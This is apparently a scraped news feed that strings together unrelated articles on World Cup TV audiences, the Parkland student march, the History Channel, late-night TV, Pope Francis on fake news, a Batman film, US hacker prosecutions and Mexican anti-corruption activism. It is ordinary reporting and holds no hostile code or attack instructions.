A BBC source said: “This is the biggest TV World Cup ever. The last 15 days have produced some of the largest viewing figures – TV and online – in the last 10 years for the BBC. Millions across the country have tuned in to see England’s last-minute winner against Tunisia and their six-goal demolition of Panama and Ronaldo’s spectacular hat-trick against Spain.”

Covering the event are Gary Lineker, pictured, and a team of pundits including Frank Lampard and Rio Ferdinand.

According to BBC Sport, six of the top 10 TV audiences have been on the BBC, including; Tunisia v England (18.3 million), England v Panama (14.1 million), Portugal v Spain (10.4 million), Argentina v Nigeria (9.9 million), Germany v Mexico (9.5 million) and Argentina v Croatia (9.2 million).

Tunisia v England was the BBC’s most watched TV event of 2018, with a further three million watching online.

ITV has broadcast only England v Belgium which peaked at 18.6 million viewers, a huge 72 per cent of the audience and its highest peak audience of the year.

Two million also watched on the ITV Hub.

Matthew Postgate, the BBC’s chief technology and product officer, said: “People love the BBC’s World Cup coverage and we’re making sure they can tune in whenever and wherever they want.”

BBC Sport online has received 31 million hits so far compared with 32 million for the whole of Brazil 2014, while the “Player Rater”, in which users judge their performance, received more than 310,000 browsers.

And the BBC Sport virtual reality football app has been downloaded more than 300,000 times.

Steve Judge, BBC lead executive for football, said: “We’re delighted that we’ve been able to bring some of the most exciting games of the World Cup so far to BBC audiences and that so many have tuned in.”

Fans are hoping the so-called “ITV curse” doesn’t strike again when England play Colombia on Tuesday.

In the 10 World Cup games shown on ITV over the past 20 years, England were victorious only once, in a 2-0 win over Trinidad and Tobago during the 2006 World Cup in Germany.

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]]> https://briefnews.eu/tvs-the-winner-as-record-numbers-join-the-crusade/feed/ 0 Children’s crusade: Teen survivors of Florida shooting plan anti-gun march on DC https://briefnews.eu/childrens-crusade-teen-survivors-of-florida-shooting-plan-anti-gun-march-on-dc/ https://briefnews.eu/childrens-crusade-teen-survivors-of-florida-shooting-plan-anti-gun-march-on-dc/#respond Mon, 19 Feb 2018 02:56:25 +0000 http://briefnews.eu/childrens-crusade-teen-survivors-of-florida-shooting-plan-anti-gun-march-on-dc/ Students who survived the shooting rampage at Stoneman Douglas High School are urging children and parents to join them in a massive new protest. They will march on Washington, DC, to call for more gun control.

A group of five senior and junior students at the Parkland, Florida school, led by Cameron Kasky, appeared on several major TV networks over the weekend to drum up support for a “March for Our Lives” rally, scheduled to take place on March 24 in Washington, DC.

In an interview on Sunday, Kasky told CNN that they plan to send a message to the government: “You’re either with us or against us.”

In their mission’s statement, the group disputes the notion that it’s still too early to talk about such a highly divisive political issue immediately after the shooting.

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© Rhona Wise

“In the tragic wake of the seventeen lives brutally cut short in Florida, politicians are telling us that now is not the time to talk about guns. March For Our Lives believes the time is now,” the activists said, adding that the focus of their efforts will be “to demand that a comprehensive and effective bill be immediately brought before Congress to address these gun issues.”

In the rallies and interviews that followed Wednesday’s deadly shooting, the students launched a scathing attack on the National Rifle Association (NRA) and President Donald Trump, blaming them for a lack of gun control legislation that could have prevented the incident.

The plea that has gained most traction was delivered by Emma Gonzalez  in a speech at a gun control rally in Fort Lauderdale on Saturday, in which she criticized Trump for receiving $ 30 million in donations from the NRA, while arguing that 19-year-old shooter Nikolas Cruz “would not have harmed that many students with a knife.”

The FBI has also come under fire for turning a blind eye to a tip they received about Cruz after he wrote a  YouTube comment that said he wanted to carry out a school shooting, as well as a call where a person who knew Cruz told the FBI he had a potential to commit a school shooting. The FBI later admitted it failed to follow its own protocol while investigating the allegations, which caused Florida Governor Rick Scott (R) to call for FBI Director Christopher Wray’s resignation.

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Florida Governor Rick Scott © Joshua Roberts

In the run-up to the march, several other protests have been planned, including two school walkouts. The Women’s March Youth Empower group is organizing one such protests, which is set to be held exactly one month after the tragedy on March 14, and take 17 minutes to honor the 17 victims.

A Change.org petition has been launched for a national high school walkout “for anti-gun violence” on April 20, the 19th anniversary of the 1999 Columbine shooting. “Walk out of school, wear orange and protest online and in your communities,” the petition, which has already gained over 50,000 signatures and 118,000 retweets, reads.

Seventeen people were killed and over a dozen were injured after the gunman, armed with an AR-15 rifle, opened fire at the Marjory High Douglas School in Parkland on Wednesday. In the wake of the attack, it was reported that the shooter was a troubled teenager, whose obsession with guns was far from a secret. Cruz also had a record of mental health issues and received treatment in a mental health facility at least once. However, he was still able to obtain an assault weapon legally.

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]]> https://briefnews.eu/childrens-crusade-teen-survivors-of-florida-shooting-plan-anti-gun-march-on-dc/feed/ 0 One of the best battles in Congress involves a top Republican’s years-long crusade against The History Channel https://briefnews.eu/one-of-the-best-battles-in-congress-involves-a-top-republicans-years-long-crusade-against-the-history-channel/ https://briefnews.eu/one-of-the-best-battles-in-congress-involves-a-top-republicans-years-long-crusade-against-the-history-channel/#respond Fri, 02 Feb 2018 15:07:15 +0000 http://briefnews.eu/one-of-the-best-battles-in-congress-involves-a-top-republicans-years-long-crusade-against-the-history-channel/ Chuck GrassleySteve Pope/Getty Images

  • Republican Sen. Chuck Grassley has roasted The History Channel for years.
  • He would prefer if the network aired more historical programming.
  • Many have expressed agreement with his tweets on the subject.

Perhaps nothing has drawn the ire of top Republican Sen. Chuck Grassley like The History Channel’s programming.

For more than six years, the Iowa Republican has been relentlessly roasting the channel on Twitter in President Donald Trump-like fashion for its lack of history-based programming. 

See the rest of the story at Business Insider

NOW WATCH: The biggest risks facing the world in 2018

See Also:

SEE ALSO: Trump’s approval rating is at its highest point in months after his State of the Union address

]]> https://briefnews.eu/one-of-the-best-battles-in-congress-involves-a-top-republicans-years-long-crusade-against-the-history-channel/feed/ 0 2017 in Review: 'Spicey' SNL, Kimmel's Crusade, Seth vs. Kellyanne, Motown Things and More Late-Night Highlights https://briefnews.eu/2017-in-review-spicey-snl-kimmels-crusade-seth-vs-kellyanne-motown-things-and-more-late-night-highlights/ https://briefnews.eu/2017-in-review-spicey-snl-kimmels-crusade-seth-vs-kellyanne-motown-things-and-more-late-night-highlights/#respond Sat, 16 Dec 2017 14:38:42 +0000 http://briefnews.eu/2017-in-review-spicey-snl-kimmels-crusade-seth-vs-kellyanne-motown-things-and-more-late-night-highlights/

A Stranger Things Motown medley, a Riverdale parody and a Daily Show reunion represented just a few of our favorite moments from the year in late-night TV.

TVLine’s picks for the 20 best clips — from Full Frontal With Samantha Bee, The Late Late Show With James Corden, Jimmy Kimmel Live and others — also include Conan O’Brien’s awkward car ride with Tom Cruise and a Donald Trump impersonator that runs circles around SNL‘s Alec Baldwin.

In an effort to acknowledge late-night’s ability to make us laugh and think, the following selection encompasses both political and apolitical bits. In other words, you’re bound to find something you like, whether your 11:30 pm host of choice is Stephen Colbert or Jimmy Fallon.

Flip through the gallery on the right (or click here for direct access), then weigh in below and let us know which clips (and which late-night programs overall) you enjoyed most in 2017.

Coming up soon, as TVLine’s Year in Review starts to wind down: Quotes of the Year, Best Reunions, the Dumbest Things TV Did and more!

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TVLine

]]> https://briefnews.eu/2017-in-review-spicey-snl-kimmels-crusade-seth-vs-kellyanne-motown-things-and-more-late-night-highlights/feed/ 0 ‘Truth will set you free’: Pope Francis on crusade to tackle fake news https://briefnews.eu/truth-will-set-you-free-pope-francis-on-crusade-to-tackle-fake-news/ https://briefnews.eu/truth-will-set-you-free-pope-francis-on-crusade-to-tackle-fake-news/#respond Fri, 29 Sep 2017 20:03:37 +0000 http://briefnews.eu/truth-will-set-you-free-pope-francis-on-crusade-to-tackle-fake-news/

Pope Francis has trained his sights on the phenomenon of fake news and and has made it the centerpiece of the Catholic Church’s 2018 World Communications Day.

The pontiff announced the theme via Twitter on Friday.

“I have chosen this theme for World Communications Day 2018: “The truth will set you free” (Jn 8:32). Fake news and journalism for peace,” he said.

The Vatican said in a statement that Pope Francis will focus on the harmful effects of fake news in his message which will be released on January 24 next year. The feast will be observed later in the year on May 13.

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Pope Francis © Reuters

The Vatican’s Secretariat for Communication said false information creates and fuels the polarization of opinions.

It said fake news can have “repercussions at the level of individual and collective behaviour.”

“The Church would like make its contribution by proposing a ‎reflection on the causes, logic and consequences of misinformation in the media,” the statement added.

This isn’t the first time Francis has offered his thoughts on fake news. In an interview with the Belgian Catholic publication Tertio last year, the pope said those who consumed misinformation were eating excrement.

“No-one has a right to do this. It is a sin and it is hurtful,” he said. “I think the media have to be very clear, very transparent, and not fall into – no offence intended – the sickness of coprophilia, that is, always wanting to cover scandals, covering nasty things, even if they are true.”

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RT – Daily news

]]> https://briefnews.eu/truth-will-set-you-free-pope-francis-on-crusade-to-tackle-fake-news/feed/ 0 ‘Batman vs. Two-Face’ Trailer: Adam West Goes On His Final Crusade https://briefnews.eu/batman-vs-two-face-trailer-adam-west-goes-on-his-final-crusade/ https://briefnews.eu/batman-vs-two-face-trailer-adam-west-goes-on-his-final-crusade/#respond Fri, 11 Aug 2017 08:59:05 +0000 http://briefnews.eu/batman-vs-two-face-trailer-adam-west-goes-on-his-final-crusade/ batman vs two face trailer

Batman is going back to the ’60s for one last time.

The trailer for Batman vs. Two-Face, released posthumously after Adam West’s tragic passing earlier this year, features the iconic Batman actor’s last turn as the Caped Crusader, standing in animated form alongside his old pal Burt Ward as Robin against William Shatner‘s Two-Face.

Batman vs. Two-Face sees West and Ward reprising their roles as Batman and Robin, which they made famous in the beloved and (intentionally, hilariously) campy ’60s Batman TV series.

The animated film reimagines the origin of Two-Face, who traditionally becomes deformed after getting hit in the face with sulfuric acid, causing him to go insane. The trailer follows Batman and Robin as they witness Hugo Strange’s experiment to “suck the evil” out of Batman’s iconic Rogue’s Gallery go wrong, causing Harvey Dent to be injured and deformed. Played by Shatner at his hammiest, Dent becomes the malicious Two-Face. Vengeful and angry, Two-Face wages war against Batman and Gotham, at one point kidnapping Robin, the Boy Wonder, and threatening to turn him into the Boy Guinea Pig.

West and Ward had reunited in animated form once before for Batman: Return of the Caped Crusader in 2016, and the venture was so successful that the sequel was immediately put into production. West had recorded all of his lines before he passed away in June, which shook fans across the world (see our /Film tribute to him).

The cover art for Batman vs. Two-Face was released yesterday, along with tidbits about how the storyline comes from an episode of Batman originally written by Harlan Ellison that intended to introduce the villain Two-Face in the TV series. The story instead became the basis for a comic book in 2014.

Batman vs. Two-Face will be available on Blu-ray and DVD on October 17, 2017. However it’s likely that the film, like other DC Animated projects, will be available on Digital HD or have a limited run in theaters thanks to Fathom Events before the physical copies hit the shelves.

The post ‘Batman vs. Two-Face’ Trailer: Adam West Goes On His Final Crusade appeared first on /Film.

/Film

]]> https://briefnews.eu/batman-vs-two-face-trailer-adam-west-goes-on-his-final-crusade/feed/ 0 US vs hackers: America’s crusade against cybercrime https://briefnews.eu/us-vs-hackers-americas-crusade-against-cybercrime/ https://briefnews.eu/us-vs-hackers-americas-crusade-against-cybercrime/#respond Sun, 06 Aug 2017 08:59:41 +0000 http://briefnews.eu/us-vs-hackers-americas-crusade-against-cybercrime/

Cyberattacks across the world have grown ever-larger in scale, inflicting billions of dollars of damage – and the US is spearheading the quest to make hackers pay, wherever they are, sometimes with exceedingly tough jail terms.

The US government is pulling no punches when it comes to prosecuting cyber criminals, often seeking extradition orders and, in most cases, dedicating countless man hours and hundreds of thousands of dollars relentlessly pursuing some of the world’s most notorious hackers.

Its latest catch, though, is a reputed white hat hacker — that is, a ‘good’ security expert whose hacking bears no ill intent. He helped stop a global cyberattack in its tracks, potentially saving the global economy millions of dollars in the process – and is now charged in a separate malware-related case.

Read more about him and others in RT’s list of some of the most notable hackers the US has pursued and attempted to extradite since 2000, with varying degrees of success.

Marcus Hutchins aka ‘MalwareTech’ (2017)

Marcus Hutchins, 23, the young British cybersecurity expert who discovered the kill switch that stopped the global WannaCry ransomware attack, was arrested on August 2 by the FBI at Las Vegas International Airport as he was about to board a flight back to his home in London.

He has been charged in connection with “creating and distributing the Kronos banking trojan,” first discovered in 2014, which targets banking systems and harvests credit card data and private customer information once an email attachment has been opened on a target computer. 

“He admitted he was the author of the code of Kronos malware and indicated he sold it,” prosecutor Dan Cowhig told the federal court.

Hutchins is accused of collaborating with an unnamed co-defendant who maintained and advertised the malware on the now defunct AlphaBay marketplace on the Dark Web. The Malware was sold for $ 3,000 according to the indictment, though IBM researchers saw it advertised with a $ 7,000 price tag.

READ MORE: Hacker who stopped WannaCry gets $ 30,000 bail

Hutchins has posted the $ 30,000 bail but Judge Nancy Koppe ordered him to surrender his passport and he has been banned from using devices with internet access upon his release on August 7, according to his attorney, Adrian Lobo, as cited by Reuters.

Lauri Love (2013 – present)

Lauri Love, 32, of dual Finnish-British citizenship is alleged to have hacked the US Federal Reserve Bank, NASA, the US Army, the FBI, and the Environmental Protection Agency, and faces extradition to the US with multiple indictments for arrest spanning three different court districts in three different states.

Love was initially arrested on October 25, 2013 and again on July 15 2015. The UK’s National Crime Agency (NCA) tried to force Love to hand over his passwords and encryption keys so it could access his computers that were seized following his initial arrest.

READ MORE: Hacking suspect Laurie Love willing to work with US to find intel ‘vulnerabilities’

He is currently appealing his extradition, granted by Westminster Magistrates’ Court in September 2016, with a hearing scheduled for November of this year.

Love faces up to 99 years in prison, and would be the first British citizen to be extradited to the US for cyber crimes.

Russian Roman Seleznev aka ‘Track2’/’2pac’/’nCuX’ (2009 – 2013)

The son of a Russian member of parliament, Seleznev, 32, was sentenced to 27 years in prison, a US record for cybercrime, for his role in hacking thousands of US businesses and operating an identity theft ring based in southeast Asia.

He was arrested by the US Secret Service in the Maldives in July 2014.

Seleznev was convicted of hacking into point-of-sale computers to steal credit card information which resulted in up to $ 169 million losses for the 500 businesses that were successfully hacked, Reuters reported.

Moscow viewed Seleznev’s arrest and extradition as ‘kidnapping.’ A Foreign Ministry statement at the time said there had been no contacts with the Russian authorities normally required when a Russian citizen is being extradited. The Maldives don’t have an extradition agreement with the US, but local police helped the Secret Service get him anyway.

“This message the United States sent today is not the right way to show Vladimir Putin, Russia or any other government in this world how justice works in a democracy,” Seleznev wrote in a statement following his sentencing.

Seleznev also faces separate federal charges which are pending in both Nevada and Georgia.

Vladimir Drinkman (2005 – 2012)

Vladimir Drinkman, 34, of Syktyvkar, Russia and four co-conspirators allegedly stole more than 160 million credit card numbers in what US authorities described at the time as the “largest known data breach conspiracy ever prosecuted.”

He and his crew hacked into the databases of companies such as NASDAQ, 7-Eleven, Carrefour, JCP, Hannaford, Heartland, Wet Seal, Commidea, Dexia, JetBlue, Dow Jones, Euronet, Visa Jordan, Global Payment, Diners Singapore, and Ingenicard, among others.

READ MORE: Russian hackers charged in ‘biggest’ data breach case, 160mn credit card numbers stolen

Drinkman was arrested in the Netherlands on June 28, 2012 and extradited to New Jersey in 2015.

“This hacking ring’s widespread attacks on American companies caused serious harm and more than $ 300 million in losses to people and businesses in the United States,” said Assistant Attorney General Caldwell.

Drinkman faces up to 30 years in federal prison. He was originally due to be sentenced in June but the verdict has been delayed until September 22.

Gary McKinnon aka ‘Solo’ (2001 – 2002)

McKinnon, 51, from Scotland was accused of hacking almost 100 US military and NASA computers over 13 months between 2001 and 2002.

He is perhaps most famous for his brazen taunt of the US military following a hack which shut down the Army’s network of 2,000 computers for a 24-hour period. A message that read “Your security is crap” was displayed on the military’s website. US authorities estimated the cost of the hack at $ 700,000.

READ MORE: UK hacker warned of US-extradition risk if he visits sick father in Scotland

In 2012, then-UK Home Secretary Theresa May ruled that McKinnon would not be extradited to the US given that he, like Lauri Love would be later, had been diagnosed with Asperger’s syndrome and was at risk of committing suicide.

McKinnon also claimed to have uncovered evidence of a secret US Navy Space program during his hacks.

In addition, McKinnon says he unearthed a massive government conspiracy to photoshop proof of aliens here on Earth out of images and video, as well as a major cover-up of alien technology such as antigravity and zero-point (read: free) energy.

“A NASA photographic expert said that there was a Building 8 at Johnson Space Center where they regularly airbrushed out images of UFOs from the high-resolution satellite imaging,” McKinnon told Wired in a 2006 interview.

Marcel Lehel aka ‘Guccifer’/‘Small Fume’ (2012 – 2014)

Marcel Lehel, 44, was indicted on nine counts including three counts of accessing protected computers. He was arrested in Bucharest in January 2014 and an 18-month temporary extradition order to the US was approved by Romania’s top court, Reuters reported.

He posted unofficial emails sent to former US Secretary of State Hillary Clinton as well as artwork produced by former US President George W. Bush, including self-portraits in the bathtub, online.

READ MORE:New analysis suggests Guccifer 2.0 files copied locally, not hacked by Russia

He stands accused of hacking “into the email and social media accounts of high-profile victims, including a family member of two former U.S. presidents, a former U.S. Cabinet member, a former member of the U.S. Joint Chiefs of Staff and a former presidential advisor,” according to a federal indictment.

It is unclear what kind of punishment awaits Lehel if found guilty.

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]]> https://briefnews.eu/us-vs-hackers-americas-crusade-against-cybercrime/feed/ 0 Corruption Crusade 🇲🇽 https://briefnews.eu/corruption-crusade-%f0%9f%87%b2%f0%9f%87%bd/ https://briefnews.eu/corruption-crusade-%f0%9f%87%b2%f0%9f%87%bd/#respond Sat, 29 Jul 2017 13:01:42 +0000 http://briefnews.eu/corruption-crusade-%f0%9f%87%b2%f0%9f%87%bd/

MEXICO CITY, Mexico — It’s a bizarre contest: whoever submits the best video documenting the most egregious act of corruption wins an iPhone 7, an all-expenses trip to a beach town, and free tickets to a monkey sanctuary.

But this is Mexico after all.

Real estate developer Carlos Mimenza came up with the unconventional contest earlier this month after one of his clients was kidnapped, a friend was forced to pay a “war tax” to thugs in cahoots with local officials, and his office was held up at gunpoint — all within the same year. He went to the authorities, many of whom were his friends, for help but none would take up his case.

So Mimenza launched his own battle against corruption and impunity. He gathered evidence on crooked politicians, particularly the governor of his home state, and discussed it on on his personal website. Then, he began asking people to film any officials they encountered and, if they captured anything illegal, to send him the videos.

So far, most of the submissions are of traffic cops asking for bribes, but Mimenza remains hopeful that someone will deliver before the contest ends in August. He plans to create a virtual, public library with the entries on his Facebook page.

Outright corruption and significant conflicts of interest alike have woven themselves into virtually every branch of government in Mexico, from small town mayors to President Enrique Peña Nieto’s inner circle, including his wife and his foreign minister. Corruption costs the country as much as 10% of GDP, according to the World Bank, and weakens the rule of law — the strain has prompted Peña Nieto’s approval to fall to 30% last year, down from 54% in 2013.

“In recent years, corruption has gone from being an epidemic to being a pandemic,” said Gustavo de Hoyos, president of the Mexican Employers Association, or Coparmex.

At the start of his administration in 2012, Peña Nieto deftly changed the country’s narrative from it being a hotbed of drug violence to an economic miracle. But before long, a series of massacres, mass disappearances and corruption scandals dashed Peña Nieto’s carefully crafted image.

The most egregious cases of corruption in recent years have been carried out by governors belonging to the governing Institutional Revolutionary Party (PRI). Four of them, accused of graft, racketeering, and in some cases organized crime, went on the lam, leaving behind record debt in their states. Three have been captured in recent months: Tomás Yarrington was found in Italy, Roberto Borge in Panama and Javier Duarte in Guatemala.

“We must have faith in the institution, faith in the job it will do,” Minister of Interior Miguel Ángel Osorio Chong said, referring to the attorney general’s office prosecution of Duarte, who has been extradited to Mexico.

But few here have any faith left — and are taking matters into their own hands.

A “Citizen’s Force” in San Luis Potosí announced its creation last month, after video surfaced of a congressman asking the mayor of a nearby town for money in exchange for scrubbing any irregularities from the local government’s finance records. In an open letter to the state governor, the group’s demands included that politicians be stripped of their protection against legal prosecution while in office and a shady government contract with a company called Panavi be canceled.

Several days later, the “Citizen’s Force” interrupted a congressional meeting and turned off the microphones. “We don’t want them to hold sessions, they are an embarrassment to us,” José Manuel Martínez, the group’s coordinator, told BuzzFeed News. “This is a civic revolution.”

They have a lot of anger to work with. In 2014, a group of investigative reporters revealed that the first lady, Angélica Rivera, had purchased a multimillion dollar mansion from a major government contractor at favorable terms. When Peña Nieto appointed an official with close ties to his inner circle to investigate Rivera’s purchase, frustration reached a fever pitch.

Citizens organized into watchdog groups and research centers and began pushing a package of corruption-fighting measures in Congress. Peña Nieto eventually signed them into law, creating a national anti-corruption system.

The system is unlike any in Mexico’s history, which is dotted with isolated and highly bureaucratic examples of anti-corruption efforts. Rather than set up yet another office, the system, created in 2015, brings dozens of local and federal accountability mechanisms under one umbrella, presided over by a civilian.

When citizens began proposing legislation to actually implement the system, politicians began to push back strongly. A law called “3 out of 3” that requires public officials to make their assets and interests public, was only approved after an unprecedented petition amassed 634,143 signatures.

“Political will has to be provoked by civil society, not expected,” said Max Kaiser, an anticorruption expert at the Mexican Institute for Competitiveness, known as IMCO, one of the organizations behind the signature drive.

The national anti-corruption system began operating this month, but the Senate has yet to appoint a prosecutor to head it. Meanwhile, ten of Mexico’s 32 states have mediocre to non-existent anti-corruption legislation, according to a report from IMCO, leaving the system’s future effectiveness uncertain.

And corruption continues to metastasize. Mexico fell from #95 to #123 out of 176 countries in Transparency International’s 2016 Corruption Perception Index.

In Quintana Roo State, on the country’s Caribbean coast, Mimenza continues waging his own battle. In one video on his Facebook page, Mimenza sits across a table from an envoy supposedly sent by Senator Félix González Canto at a busy restaurant, a purple child’s schoolbag placed conspicuously next to him. In the next scene, with the envoy gone, Mimenza starts pulling out wads of bills from the bag, which he says amounted to $ 284,000. He claims that the money was in exchange for keeping quiet about an alleged crime committed by the senator.

There are about 100 other videos on his page. Rather than show officials actively breaking the law, Mimenza mostly appears outside prosecutor’s offices holding documents he claims are evidence of corruption. His video editor said he’s received about 30 videos from around the country for the iPhone contest. There is one of a hospital that officials say cost $ 300 million pesos despite being a basic, single-story structure, but most entries so far are of traffic cops.

Financed by a group of about 20 local businessmen, Mimenza recently brought about 200 people to the state, among other actions, to monitor 43 local policemen who are under investigation for torture. Mimenza won’t say if his vigilante crew carries weapons but warns that “they are dangerous.”

“I am dangerous too,” Mimenza adds. “220 people can do plenty,” he says through a grin during an interview at a cafe in Mexico City.

The 43-year-old entrepreneur unlocks one of the cell phones he’s laid out on the table and pulls up an email he had received recently. “We are watching you and we will kill you and your whole family if you continue with your mamadas,” it reads, using slang for bullshit. He says he gets about 15 such threats a month.

Mimenza says that if there is one thing to thank Peña Nieto’s government for, it’s fomenting and condoning record-breaking corruption practices which have enraged citizens to a point of no return.

“He has send a message to the government that they can steal with an open fist,” says Mimenza. “Now, Mexicans have had it to here.”

Karla Zabludovsky is the Mexico bureau chief and Latin America correspondent for BuzzFeed News and is based in Mexico City.

Contact Karla Zabludovsky at Karla.Zabludovsky@buzzfeed.com.

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